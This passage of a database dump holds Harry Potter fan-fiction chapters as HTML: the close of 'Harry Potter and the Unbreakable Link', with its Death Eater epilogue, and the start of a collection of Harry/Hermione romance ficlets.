bookworm and I\'m Harry Potter, saviour of the world!&quot;\n</p><p>\n&quot;But you are!  And I am!  It\'s just different.&quot;\n</p><p>\n&quot;Exactly.&quot;\n</p><p>\n&quot;Harry, never forget, we are who we are and we always will be.  Nothing can change that!&quot;\n</p><p>\n&quot;I know what you\'re thinking about.  We can change it!  It doesn\'t matter to me, and it shouldn\'t matter to you.  No-one will ever hear your name in connection with Voldemort\'s.  The world will know you just as Hermione Granger, if that\'s what you want.  No-one will <i>ever</i> know.&quot;\n</p><p>\n&quot;But, Harry, that\'s not possible.  It\'s simply not possible to hide it from everyone.&quot;\n</p><p>\n&quot;Well, we\'ll try our very best!&quot;\n</p><p>\nSuddenly she cried, &quot;Oh please do!  It\'ll ruin all my chances if people know who... who I am.&quot;\n</p><p>\nHe stared at her and suddenly put his arms round her and kissed her.  She let out a gasp and kissed him back.  Viktor was nothing like him, this was... amazing.  She had never thought she would ever kiss him, and certainly not like this!  She didn\'t want to think, not now, just kiss him and kiss him...\n</p><p>\nHe changed his position and suddenly she realised what had happened.  She pushed him away from her.  \n</p><p>\n&quot;<i>Hermione</i>!&quot; he cried horrified, &quot;what have we done?&quot;\n</p><p>\n&quot;We kissed.  Harry, we can\'t do this!&quot;\n</p><p>\n&quot;I know!  What will Ron say?&quot;\n</p><p>\n&quot;Of all the things to say just now!&quot;\n</p><p>\n&quot;Well, what did you mean then?&quot;\n</p><p>\nShe opened her mouth but no sound came out for many seconds.  She couldn\'t get rid of the memory of the last few minutes.  At last she said carefully, &quot;Harry, do you realise the implications?  The very serious implications?&quot;\n</p><p>\n&quot;No, what are they?&quot;\n</p><p>\n&quot;Do I have to spell it out to you?  Who are we?  I am the daughter of Lord Voldemort, you are Harry Potter, you have Gryffindor blood in you you said once.  It\'s almost as bad as Ginny and Malfoy!&quot;\n</p><p>\n&quot;I know, but we shouldn\'t do things just because our ancestors hated each other!&quot;\n</p><p>\n&quot;Yes, but Harry!  We have the Unbreakable Link, don\'t we?  What would happen if...?  Doesn\'t this mean anything to you?  No of course it doesn\'t!  You haven\'t read it!&quot;\n</p><p>\n&quot;Read what?&quot;\n</p><p>\n&quot;Oh never mind!  I can\'t tell you!  I don\'t even know myself, but we can <i>never. get. together.</i>&quot;\n</p><p>\nHarry blushed crimson, &quot;I think I know you what you mean about the Unbreakable Link, Hermione!&quot;  <i>(A/N:  And if <u>you</u> don\'t, re-read chapter 5!)</i>\n</p><p>\n&quot;Yes exactly, you see what I mean, we must forget this evening!&quot;\n</p><p>\n&quot;But... Hermione, I enjoyed it.&quot;\n</p><p>\nHermione opened her mouth and turned away from him, &quot;Let\'s get back to the castle.&quot;\n</p><p>\nAnd so they returned to the castle, Hermione talking about permanent banishing charms the whole time.\n<i></i></p><center><p><i>\n...I could have danced all night\n</i></p><p><i>\nI could have danced all night\n</i></p><p><i>\nAnd still have begged for more.\n</i></p><p><i>\nI could have spread my wings \n</i></p><p><i>\nand done a thousand things\n</i></p><p><i>\nI never did before.\n</i></p><p><i>\nI never knew what made it so exciting\n</i></p><p><i>\nWhy all at once my heart took flight!\n</i></p><p><i>\nI only know when he began to dance with me\n</i></p><p><i>\nI could have danced, danced, danced all night!...</i></p></center><i>\n</i>\n\n'),
	(62, 19, '<i>JK Rowling owns all...</i><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 19- The Green-Eyed Stag \n</p><p>\nLily Potter watched the last of the carriages disappear from Hogwarts and turned to face Professor Dumbledore.\n</p><p>\n"Gone?" he asked.\n</p><p>\n"Gone, never to return."\n</p><p>\n"I expect some will return.  Parvati Patil is going train to teach Divination."\n</p><p>\nLily laughed, "Who on earth gave her careers advice?"\n</p><p>\nDumbledore\'s mouth twitched.  Lily asked suddenly, "How was the ball?  I didn\'t go, I was at a meeting with Professor Flitwick.  I can\'t believe I\'ll actually be teaching here!  It\'s always been my goal."\n</p><p>\nDumbledore sighed, "Have you seen Harry since last night?"\n</p><p>\n"I\'ve <i>seen</i> him.  Why?"\n</p><p>\n"Do you know who was at the ball last night?"\n</p><p>\n"The seventh years?  Ginny Weasley?  You?  The headless horsemen?  I can\'t imagine."\n</p><p>\n"Catherine Shortstraw."\n</p><p>\nLily spun round, mouth slightly open, "Not Cidilla\'s youngest daughter?"\n</p><p>\n"The same."\n</p><p>\n"And I missed her!  I remember little Catherine, always so much brighter than the others.  Emma, Anne, Margreat, Eleanor and Catherine.  What was she doing?"\n</p><p>\n"She was passing herself off as my second cousin to get into the ball."\n</p><p>\n"Hmm.  Why?"\n</p><p>\n"To talk to Harry.  She was making him a job offer."\n</p><p>\nLily went white, "No!  He... he didn\'t except, did he?"\n</p><p>\nDumbledore nodded gently, "I believe he did.  I appreciate this must come as a shock to you, Lily, but it could have been expected."\n</p><p>\nLily\'s mouth was a thin line, "They won\'t get him!  No-one is killing my Harry!"\n</p><p>\n"Of course they won\'t," soothed Dumbledore, "don\'t forget- Voldemort\'s gone."\n</p><p>\n"He may be dead, but they\'ll be others who will try to imitate him.  They haven\'t even caught all of the death eaters.  Pettigrew\'s still out there, for heaven\'s sake!  And so\'s Lucius Malfoy!  Aurors these days aren\'t what like what they were.  And now it\'s Harry and Catherine\'s job to save the world again!  Is Catherine his partner?"\n</p><p>\nDumbledore shook his head, "No, she\'s the group\'s Principa.  His partner\'s called Linda Newman."\n</p><p>\n"Hmm, let me think.  Linda Newman... twenty nine years old, was in Hufflepuff, long greasy blond hair, used to have too much acne, complains all the time about her health in a high whiny voice and thinks putting on an American accent is the height of sophistication?  Yep, I know who you mean.  Lucky Harry." \n</p><p>\nDumbledore didn\'t reply, and she continued a second later, "Why can\'t he be partners with Hermione, it\'s the natural thing, since they\'ve got the Unbreakable Link?"\n</p><p>\nDumbledore shrugged, "You know things like this aren\'t always very fair."\n</p><p>\nLily sighed and her hand went to her neck, like it always did when she was anxious.  Dumbledore looked at her carefully and then said, "May I see it?"\n</p><p>\n"See what?"\n</p><p>\n"The pendant.  I wasn\'t aware you still had it."\n</p><p>\n"I would sooner sell my soul to the devil than loose it.  Have a look."\n</p><p>\nDumbledore stood up and peered close at the necklace out of his half moon spectacles.  It was a gold pendant on a thinly woven gold chain. It was very delicately crafted and was of a golden stag, with one tiny emerald as its eye.  \n</p><p>\nHe drew back and sighed, "A very fine example, Lily.  A stag for James and the emerald for you.  When will you give it to Harry?"\n</p><p>\nLily shrugged, "When the time is ripe.  Clemmie Potter gave it to James when he was seventeen."\n</p><p>\n"That young?"\n</p><p>\n"Yes.  He told me later that it was when I was staying with the Potters and Clemmie noticed that her son liked me and gave him the pendant."\n</p><p>\n"And he gave it to you when?"\n</p><p>\n"At the Christmas Seniors\' Ball when he asked me to marry him."\n</p><p>\n"They\'re fascinating magical objects."  Dumbledore commented. \n</p><p>\n"They are indeed.  Their ability to see who you\'ve fallen in love with is very strange.  James said that he knew immediately who he was in love with, because he didn\'t know know  anyone else with green eyes!  They\'re such individual objects.  This could belong to no-one except me.  And the second I give it to Harry it will change."\n</p><p>\n"Who do you think she will be?"\n</p><p>\n"Only I am allowed to know that.  It\'s taboo to tell anyone else.  I think Harry will know exactly who she is when he sees what the pendant has changed to though.  That\'s why I shan\'t give it to him until I know he\'s fallen for her.  Oh Professor, the idea of Harry marrying anyone is so odd!  And my giving it to him...  I wonder what it will turn into?  A broomstick?"\n</p><p>\n"I doubt it.  I\'m sure Harry has more substance than quidditch, something that goes far deeper than a love of flying."\n</p><p>\n"Oh?  What?"\n</p><p>\n"I think he is a true Gryffindor."\n</p><p>\n</p><div class="center">*   *   *</div>\n<p></p><p>\nHarry Potter slumped back in his chair and ate another chocolate frog.  The scene was ever so familiar for a journey on the Hogwarts Express.  Harry, eating; Ron staring out of the window; and Hermione deep in \'Hogwarts, A History\'.  None spoke.  Harry thought about what he had told Dumbledore that morning about Catherine\'s proposal, Ron thought about Lisa Turpin and why she was so much more... everything, than Hermione was.  Hermione was thinking about the reconstruction of the Astronomy Tower in 1159 following the rather destructive antics of a pair who put the Maurauders and the Weasley twins conbined to shame.\n</p><p>\nHarry ripped open another sweet and glanced at the card groaning, "Drat.  Another one of me.  That makes it six so far.  Ron, you want it?"\n</p><p>\nRon shook his head, "Nah, not particularly.  Can I have a frog, though?"\n</p><p>\nHarry handed him one and he unwrapped it.  His eyes widened, "Will you believe it, Harry?  This is the first <i>ever</i> chocolate frog card I\'ve got of Agrippa!  I\'ve been looking for it for about ten years!"\n</p><p>\n"And you\'ve only just found it?  Great!"\n</p><p>\n"I was looking for it on the very first train ride, remember?"\n</p><p>\nJust as Harry was about to reply, the door slid open and the brilliant brown eyes of Lisa Turpin peaked round the door.  Ron went bright red and looked quickly away.\n</p><p>\nHermione glanced up from her book, "Come and join us, Lisa!"  \n</p><p>\nLisa smiled and sat down next to Ron, "Doesn\'t it looks like Study Time in the Ravenclaw common room!  Wow, Harry, you\'ve got six chocolate frog cards of yourself!  I\'d love to be on a card like that!"\n</p><p>\nHarry shook his head, "We can swop anytime.  Do you want a scar as well?"\n</p><p>\nHermione kicked him.  Another silence set in.  Ron stared unseeing out of the window, Harry stared out of the compartment door, Lisa looked very uncomfortable and kept looking at Ron.  Hermione read her book without looking at it and without turning the pages either.\n</p><p>  \nSuddenly she closed her book with a snap and looked at her watch.  She started very hard and cried, "It\'s <i>ten past eleven</i>.  Harry, we are so late!"\n</p><p>\nRon and Lisa ignored her, they were too busy not looking at each other.  Harry looked up, "How interesting, Hermione.  Big deal."\n</p><p>\nHermione glared at him, "You know the head girl has to go and check up on the prefects at eleven o\' clock."\n</p><p>\n"Why?  Can\'t the prefects take care of themselves?"\n</p><p>\n"I don\'t know! and you\'ve got to come with me because you\'re deputy head boy!"\n</p><p>\n"I\'m-?"  Harry was stopped because Hermione had trodden on his foot.\n</p><p> \nRon sat up suddenly, "You never told me that you were deputy head boy.  I never knew they even existed."  Lisa looked on with mild amusement.\n</p><p>\n"Well he is," said Hermione, "now <i>come on</i> Harry!  We\'re late!"\n</p><p>\nShe dragged Harry out of the compartment and closed the door.  She dragged him further down the corridor.\n</p><p>\n"Now!" he began, "Hermione, what is the meaning of this?  I am certainly NOT deputy head boy!  Why do you want me alone?"\n</p><p>\n"Not us, you idiot!  <i>Them</i>!"\n</p><p>\n"<i>Oh</i>."\n</p><p>\n"And while we\'re about it, why are you in such a bad mood?  You were really nasty to Lisa back there."\n</p><p>\n"What do you mean?  It\'s not as if you didn\'t just make one of the most obvious excuses to leave them alone!"\n</p><p>\n"So obvious you didn\'t notice it!"\n</p><p>\n"That\'s besides the point!  And in case you want to know, I didn\'t get to bed until two in the morning and I had to get up at half six to see Dumbledore.  The damn train left at eight o\' clock and I hadn\'t even packed!"\n</p><p>\n"Well that\'s your problem isn\'t it?  As a matter of interest, I was up at six <i>o\' clock</i> to arrange with Professor McGonagall who was going to be head girl and boy next year."\n</p><p>\n"Look who\'s in a bad mood now!"\n</p><p>\n"Stop being so immature Harry!  By the way, Ginny is going to be head girl next year."\n</p><p>\n"Ron will be so pleased to have another head of school in his family."\n</p><p>\n"You\'re unbearable, Harry!"\n</p><p>\n"You\'re not my mother, Hermione!"\n</p><p>\n"Like I don\'t know that!  Now act your age.  We arrive at King\'s Cross in about two minutes.  Let\'s see what Ron and Lisa are up to."\n</p><p>\nHermione led the way back to the compartment talking perhaps louder than was necessary.  When they entered it Ron and Lisa were sitting next to each other in exactly the same position as they had been left, only slightly redder in the face.  No questions were asked, but Ron smiled slightly at Harry\'s raised eyebrows.\n</p><p>\nThey reached King\'s Cross a few moments later and instantly there was confusion.  The first person to come running into their compartment was Neville who had lost his address book and needed to get their addresses again.  Then came Lavender and Parvati (clutching her crystal ball) who were very tearful and remeniscent of all the \'good times\' they had had with Hermione.  Lavender kissed Harry\'s cheek and looked very sorrowful, but he didn\'t seem to notice.\n</p><p>\nMrs. Weasley was on the platform and immediately enveloped Harry, Ron and Hermione in a hug instantly.  Then she stopped and looked at Lisa.  "Hello, dear."\n</p><p>\nThere was an awkward silence then Lisa said with a beaming smile, "You must be Mrs. Weasley.  I\'m Lisa Turpin and I\'m in Ravenclaw.  I\'m friends with Ron, Hermione and Harry."\n</p><p>\nIf Mrs. Weasley was at all suspicious of this, she didn\'t show it.  "You\'re very welcome, dear.  What are your plans for the summer?  I\'ve aleady got two extras with us, Harry and Ginny\'s friend Irene.  We\'d love to have you with us!"\n</p><p>\nLisa\'s face was as red as a tulip in full bloom.  "I- I\'d love to, Mrs. Weasley, but I\'m actually going on a study trip to India this summer.  Remember I\'m a Ravenclaw!" she added ruefully.\n</p><p>\nMrs. Weasley nodded, "Well, another time, perhaps.  Now come on, Ron and Harry.  Do you have you trunks?  Is that Pidwidgeon that\'s trying to escape?  <i>Where is Ginny</i>?  Let\'s get off the platform.  Really very claustrophobic..."\n</p><p>\nAs one they barged through the barrier, incuring the wrath of the guard who was a afraid the muggles would notice them.  Harry caught one last glimpse of the scarlet engine before he became engulfed in the muggle world.\n</p><p>\nAt once he heard Hermione cry out from next to him, "Mum!" and she dashed off into the crowd.\n</p><p>\nHermione tugged her case reluctantly through a group of very lost and sweaty Italian students.  Eventually she reached her parents and was about to drop her possessions and embrace them, when she noticed someone standing next to them.  She was a tallish girl with lots of golden brown hair.  She had a brace and hornrimmed glasses.  Hermione faltered.  There was a pause while she stared at her.\n</p><p>\nThen the girl smiled, showing her brace off to best advantage and held out her hand to Hermione, "Hi!  I guess you\'re Hermione.  I\'m Mia.  I\'ve been dying to meet you, you look just like a witch!"\n</p><p>\n"Er, I do?"  She smiled back and took Mia\'s hand, "I wanted to meet you, too.  Hello, Mia."\n</p><p>\nShe glanced at her mother.  Mrs. Granger suddenly hugged her, "I\'m very proud of you, Hermione." She whispered in Hermione\'s ear.\n</p><p>\nIt was all as normal, "I wish you\'d been to the ball, Mum!  There were real fairies!  And they played Strauss!"\n</p><p>\n"Fairies?" cried Mia, "there were fairies?  Aren\'t they just made up for little children?"\n</p><p>\n"Oh <i>no</i>!  They\'re real!  I\'ll lend you \'Hogwarts, A History\'!  You\'ll love it!"\n</p><p>\nShe became aware of someone\'s prescence behind her, "More than I can say for Harry."\n</p><p>\n"More than you can say about what?  Hello, Dr. Granger, Mrs. Granger."\n</p><p>\nMrs. Granger smiled, "How are you, Harry?  Long time no see.  You\'ve grown a bit since I last saw you, when you were only twelve!  This is Mia, Hermione\'s sister."\n</p><p>\nHarry glanced at Hermione, "Nice to meet you, Mia.  I\'m Harry Potter."\n</p><p>\nMia almost jumped a foot in the air, "You\'re <i>Harry Potter</i>?  Miss Goldfinger told me all about you.  You\'re like a wizarding James Bond, aren\'t you?"\n</p><p>\nHarry nervously brushed his fringe over his scar, "Um yeah, I guess."\n</p><p>\n"And you\'re Hermione\'s friend?  I suppose we\'ll see a lot of you then!"\n</p><p>\nHarry looked at Hermione who looked away, slightly confused.  Mrs. Granger frowned.  "Yeah,       yeah.  I imagine we will," said Harry.\n</p><p>\n"Where are Ron and Lisa?" asked Hermione.\n</p><p>\nHarry raised his eyebrows, "They\'re behind the newspaper kiosk.  Er, saying goodbye."\n</p><p>\n"Why behind a kiosk?" asked Mia.\n</p><p>\nHarry chose not to answer that question.\n</p><p>\nDr. Granger looked at his watch and whispered something to his wife.  She nodded and turned to Harry, Hermione and Mia, "I really think you should say goodbye to Harry now, Hermione.  We\'ve arranged for Mrs. Hollberg to have tea with us, so we should be getting back."\n</p><p>\nHermione put on a rather fake smile, "Lovely.  Where\'s Ron, Harry?  I want to say goodbye to him as well."\n</p><p>\n"I\'ll show you."  They disappeared into the crowd.\n</p><p>\nSuddenly Hermione grabbed his arm, "Harry, promise me one thing."\n</p><p>\n"What?"\n</p><p>\n"Never tell anyone about me.  Or about our link.  I- I don\'t want it raised at all.  I just want to be normal."\n</p><p>\n"Yes of course.  I won\'t tell a soul.  Why?"\n</p><p>\n"Oh Harry.  There\'s something you don\'t know about, but I can\'t tell you.  It would ruin everything."\n</p><p>\n"Oh if you can\'t tell me..."\n</p><p>\n"I\'m sorry..."\n</p><p>\nThey stared at each other then Harry shrugged, "I daresay I\'ll live without knowing.  It\'s not a big deal."  He grinned at her then kissed her very quickly on the lips and watched her blush and draw back gently.\n</p><p>\n"No, Harry.  We\'re friends.  Always and only friends.  Let\'s go and find Ron, see if he\'s finished kissing Lisa."\n</p><p>\nHarry shook his head with a smile, "Who knows where it\'ll end if we don\'t stop them?"\n</p><p>\nLaughing, they disappeared in search of the newspaper kiosk...\n</p><p>\n</p><div class="center"><i>You and I can change the silence\n</i></div><p></p><p>\nFinding comfort together the way old friends do.\n</p><p>And then divides and words of violence\n</p><p>\nWe make up with each other the way old friends do.\n</p><p>\nTimes of joy and times of sorrow\n</p><p>\nWe will always see it through.\n</p><p>\nI don\'t care what comes tomorrow,\n</p><p>\nWe can face it together the way old friends do.\n</p><p>'),
	(62, 20, '<i>Title: Harry Potter and the Unbreakable Link (20/20) </i><p> Author: Silvestria </p><p> E-mail: <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script> </p><p> Category: Mystery </p><p> Keywords: Hermione Estella Harry Voldemort Epithanos </p><p> Rating: PG </p><p> Spoilers: All books </p><p> Summary: 7th year fic in the good old traditional style. Voldemort has a daughter (only he lost her), Harry has a dream, Dumbledore has a past and Hermione has a problem. Major revelations about the Potters, and the beginning of a possible romance... </p><p> Disclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.</p><p> <span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p> Epilogue  </p><p> A small woman pulled her cloak round herself more snugly and shivered in the cold wind. She was standing as far away from anywhere as possible, on a deserted Yorkshire moor. Looking around she pulled out a wand and drew a long shimmering line round herself. It glowed blue. Then she cried "<i>Apparecchio!</i>" </p><p> Immediately the air on the line began to shimmer slightly. She could see people fuzzily through it. She stepped through the line and closed the air behind by saying, "<i>Deapparecchio!</i>" </p><p> There were only six people there, all swarthed in black cloaks like the woman herself. There was a tall man, standing a little aloof from the rest. There was a very impatient man with another very close to him. There were two people who seemed to be wider than they were high. And there was the leader, a short man with a silver hand. </p><p> These were all that was left of the famous British Death Eaters. </p><p> The short man turned to the woman and asked sharply, "Are there any more coming?" </p><p> She laughed to herself. Peter Pettigrew was never the brightest at recognizing people, though he\'d seen her more than enough in the past. "No, I believe we are now complete." </p><p> Pettigrew nodded absently and turned to the two impatient death eaters, "Well Lucius, I see you\'ve brought your son. Draco Malfoy, do you swear alegience to me and your Lord?" </p><p> The son nodded and drawled lazily, "Of course, though the Dark Lord isn\'t really in a position care about new recruits I\'d say. He\'s rather dead, isn\'t he?" </p><p> Peter hissed, "<i>He will return</i>! Now listen to what I have to say! Any more speech of that kind and you\'ll lose your head!" </p><p> The woman bit her lip to stop herself interfering. If she were in charge that wasn\'t the way she\'d go about instigating fear in the ranks and she didn\'t like watching people behave stupidly. </p><p> Pettigrew paused for effect. Then he said in a hush, "His Lordship has left a will!" </p><p> The six others crowded closer in. Lucius cried, "Well?" </p><p> Pettigrew was enjoying the attention, something he had never got when he was merely Voldemort\'s second in command. "I will now produce the document!" </p><p> <i>Going to give us a rabbit out of your hat while you\'re about it, are you?</i> she thought sarcastically. <i>Get on with it.</i> </p><p> Peter Pettigrew pulled out his wand and moved it slowely in circles around a particular spot. A bright white light increased until it was unbearable to look at. Then it stopped and he was holding a piece of parchment rolled up and tied with green ribbons. </p><p> The Death Eaters communally gasped. The lady made no movement whatsoever. Pettigrew unravelled the scroll with a flourish, "Behold the last will and testament of our Lord!" </p><p> "Will you read it aloud?" asked the aloof man, speaking for the first time. </p><p> Pettigrew smiled, "This is a very private document. Only the most trusted of his lordship\'s command should have the right to see its contents." </p><p> He skimmed his eyes greedily over it and then stopped somewhere on the second page. "I will read you this section. It should give you hope. Here." He started to read. </p><p> "\'My last bequeathment is to England, my country. Knowing how much my faithful followers will mourn my departure, I have left them with one promise. One day the group that I have initiated will be stronger than ever before! <i>All England will be under the command of the Dark Lord! There will be no witches and wizards who are not completely pureblood left! Muggles and Mudbloods will be exterminated! Hogwarts will be a school of the Dark Arts! And to rule over this new England I leave my heir!\'"</i> </p><p> Peter paused and Lucius cried eagerly, "More! More!" </p><p> Voldemort\'s new first in command nodded and continued, "\'My heir will be the descendent of someone very close to me. He will be the most powerful witch or wizard that ever lived and he will exist to build up my regime into something the likes of which the world has never seen, not since the reign of my glorious anscestor, Salazaar Slytherin. Await his coming!\' Here ends his will, faithful Death Eaters!" </p><p> She felt sick and couldn\'t speak. It couldn\'t be...? Lucius also was frantic, "What does it mean, <i>\'descendant of someone very close to me\'</i>? When is this heir coming, anyway?" </p><p> Pettigrew backed off, "I really- I have no idea. We most only watch and wait, and then, at the right moment- <i>strike</i>!" </p><p> The aloof man muttered something about a meeting and left the cirle. She smiled, <i>yes, go back to Dumbledore. He\'ll be very pleased to hear your news.</i> </p><p> Pettigrew was saying something to the Malfoys, but she was no longer interested. She had heard all she needed and she apparecchioed out. Pettigrew continued explaining his plans for a few minutes then the meeting broke up. </p><p> When everyone had left Pettigrew folded up the will and shoved it in his pocket. He then pulled out a quill and searched through all the compartments in his cloak for something. A choclate frog card of Harry Potter, some string, a pocket calendar and then a small scrap of poor quality notepaper. He checked that it was the right piece, then picking up the quill added to what was already written there. There were two bullet points on it with tick boxes next to them. They were empty. Pettigrew drew a new box, near his new point. The paper now said, </p><p> - Find the daughter. </p><p> - Find the mother. </p><p> - Find the heir.  </p><p> Smiling slightly he crumpled the paper back into his pocket and apparated away. </p><p></p><div class="center"><b>THE END</b></div> <i>To be continued...</i><p></p><p> You can read the sequel, <span class="u">Cassandra, or Memoires of an Heroine</span> by going back to this address or my yahoo group. Hope you enjoy it! </p><p> Please review! </p><p> '),
	(63, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">A/N&nbsp;: Hey guys&nbsp;!!!! I&#8217;m happy to present my new\ncollection of Harry/Hermione ficlets&nbsp;!! Not to be confused but these are\nUNRELATED stories&nbsp;!!!!!!!<br>\n<br>\nDisclaimer&nbsp;: I own NOTHING&nbsp;!!!! Blah blah blah.<br>\n<br>\nDedication&nbsp;: This story is dedicated to my fave authors&nbsp;: HarryHermione4Ever,\nRyoko Blue, God Of Fire, HarryNZ, and HermioneShiara&nbsp;!!!!<br>\n<br>\nI Wished For You<br>\n<br>\nBy&nbsp;: Emili Potter<br>\n<br>\nSummary&nbsp;: This is a fic about Harry and Hermione&#8217;s engagment. A year after\nthey leave Hogwarts&nbsp;!<br>\n<br>\nHermione sat watching the fire. The flames danced and flickered. Hermione\nshivered. She wasn&#8217;t cold, wrapped in her boyfriend, Harry Potter&#8217;s, arms. She\nsmiled at her boyfriend. He smiled back. They were in pure bliss.<br>\n<br>\n&quot;I love you.&quot; Hermione murmured kissing Harry lightly. He returned\nthe kiss.<br>\n<br>\n&quot;I love you too.&quot; He said, playing with a curled piece of brown hair\non Hermione&#8217;s head. She smiled at him. Before letting their lips caress the\nother&#8217;s. She pulled Harry deeper into the kiss. She released the kiss after a\nfew moments.<br>\n<br>\n&quot;Minnie (A/N&nbsp;: Everyone thinks her nickname is Mione well I call her\nMinnie.),&quot; Harry said. &quot;This may sound&#8230; strange but I wished for\nyou.&quot;<br>\n<br>\n&quot;Huh&nbsp;?&quot; Hermione asked.<br>\n<br>\n&quot;I wished for you. When I was little and lived with the Dursley&#8217;s I wished\nfor someone who loved me like you do. &quot; He said.<br>\n<br>\n&quot;I wished for you , too. I would always wish for my prince to come and\nsweep me off my feet.&quot; She said.<br>\n<br>\n&quot;Oh.&quot; Harry said. &quot;Minnie&nbsp;?&quot; He asked.<br>\n<br>\n&quot;Yes, hon.&quot; She said, staring into Harry&#8217;s bright green eyes.<br>\n<br>\n&quot;You know how we&#8217;ve been living together for awhile and stuff&nbsp;?&quot;\nHarry asked, Hermione nodded, Well, Hermione, will you marry me&nbsp;?&quot; He\nasked. Hermione stared him.<br>\n<br>\n&quot;Are you serious&nbsp;?&quot; She asked. Harry&#8217;s face fell. &quot;This\nisn&#8217;t a dream&nbsp;? I&#8217;m not hallucinating&nbsp;??!!&quot; She exclaimed,\n&quot;Yes, yes, yes and a million times yes&nbsp;!!!!&quot; Hermione said,\nthrowing her arms around his neck.<br>\n<br>\n&quot;Are YOU serious&nbsp;?&quot; Harry asked, smiling like a maniac.<br>\n<br>\n&quot;Yes&nbsp;!! Is there a ring&nbsp;??!!&quot; She said. Harry smiled and\nreached in his pocket pulling out small velvet box. He opened it. Inside rested\na smll ring. It had a white-gold setting and the gem was a sapphire, with two\ndiamond on the side. It was gorgeous. &quot;Oh my&#8230;&quot; Hermione said, as\nHarry slipped the ring on her finger.<br>\n<br>\n&quot;You like it&nbsp;?&quot; Harry asked, a smiling playing on his lips.\nHermione nodded enthusiasticly. He grabbed her chin and pulled her into a kiss\nthat lasted at least 10 minutes.<br>\n<br>\n&quot;I love you Harry Potter.&quot; Hermione said.<br>\n<br>\n&quot;And I love you Hermione Granger.&quot; Harry said. He kissed her again,\nletting his kiss drift down her neck. She sighed. &#8216;Could my life be\nbetter&nbsp;?&#8217; She thought to herself.<br>\n<br>\nThe next day she and Harry told Ron and Lavender, who had been married since\nthey got out of school because Lavender got pregnant. They had a daughter,\nMegan, and were expecting a boy in a few months.<br>\n<br>\n&quot;Oh&nbsp;! I&#8217;m SO happy for you.&quot; Lavender said.<br>\n<br>\n&quot;So am I. My best friends&#8230; wow.&quot; Ron said, giving Hermione a quick\nhug and slapping Harry on the back.<br>\n<br>\n&quot;Ow. Your suppose to congratulate me, not try and kill me.&quot; Harry\nlughed. Ron shrugged.<br>\n<br>\n&quot;Tomato, tomahto (A/N&nbsp;: You know what I mean right&nbsp;?).&quot; Ron\nsaid, still shrugging.<br>\n<br>\n&quot;Boys, will you ever grow up&nbsp;?&quot; Hermione said, pretending to be\ndisapointed. Ron and Harry shook their heads no.<br>\n<br>\n&quot;Not Really-&quot;<br>\n<br>\n&quot;Probably not-&quot;<br>\n<br>\n&quot;Doubt it-&quot; Hermione swatted at Harry. He ducked away from her. When\nshe stopped he caught her lips with his. She returned his kiss wholeheartedly.<br>\n<br>\n&quot;Aww&#8230; how romantic.&quot; Lavender crooned, &quot;How come we never do\nthat&nbsp;?&quot; She asked to Ron, crosssing her arms over her very large\nstomach. Ron leaned in and kissed her mid-rant.<br>\n<br>\nLater that night Harry and Hermione arrived at their flat in London. As soon as\nthey got there Harry caught Hermione by the waist.<br>\n<br>\n&quot;I love you.&quot; He said, kissing her softly.<br>\n<br>\n&quot;I love you, too.&quot; She said kissing him.<br>\n<br>\nA/N&nbsp;: Ahhhhh fluff&nbsp;!! It makes the world go &#8216;round. Anyway I hope you\nenjoyed this&nbsp;!!!! I like writing but I got writers block mid-story&#8230;\nyikes&nbsp;!!!</p>\n\n\n\n\n\n\n'),
	(63, 2, '\n\n\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">Tell Me You Love Me<br>\n<br>\n<b>Disclaimer</b>: Nothing is mine.<br>\n<br>\n<b>Spoilers</b>: All 4 books.<br>\n<br>\n1/?<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt"><b>A/N</b>: This was originally a story but I can&#8217;t\nthink of how to add so I made it another chapter of the fluffy fic.<br>\n<br>\n<br>\nNo one understood Hermione. She may hide herself behind books but did but did\nanyone see her for her real self. No. No one notice how she had she had grown\ninto her looks. No one ever noticed her. People always overlooked her. The one\nperson she wish notice her was Harry. Harry&#8230; Hermione fell at his name.\nEverything from his illuminating green eyes to his sensitivity made Hermione\nfloat. She knew she never would compare to Cho, Parvati, or Lavender in looks,\nbut still why wouldn&#8217;t he notice her??!! Hermione decided instead of beating\nherself up about she just buried herself in books.<br>\n<br>\nRon was worried about Hermione. She was studying a lot more than normal. Rarely\nwas she seen with out a book. When she wasn&#8217;t reading she was staring at Harry.\nWhenever he mentioned Harry she&#8217;d get a dazed, funny, dreamy look in her eyes.\nRon was too wrapped up in his relationship with Lavender to do anything,\nthough.<br>\n<br>\nHarry was at a crossroads in his life. He was 17 and about to leave Hogwarts,\nhis safety net; his haven. He either could join the British quidditch team, go\nto magical college and study to be a teacher, or take Auror training. What\nshould he do? Not to mention there was on person he wanted to be with, but knew\nhe couldn&#8217;t have. His best friend, Hermione Elizabeth Granger. &#8216;Why don&#8217;t you\njust get up the nerve and ask her out?&#8217; a voice in his head would taunt.\n&#8216;Because she&#8217;s off-limits. She&#8217;s your best friend. Not your girl friend.&#8217; The sensible\nvoice would answer. &#8216;Will you two stop fighting? People are beginning to think\nI&#8217;m schizophrenic.&#8217; A third voice would pipe up. Harry would sigh and go along\nwith the day.<br>\n<br>\nIt was the middle of December when our story begins. It was a week or so before\nChristmas and our favorite trio was in the great having 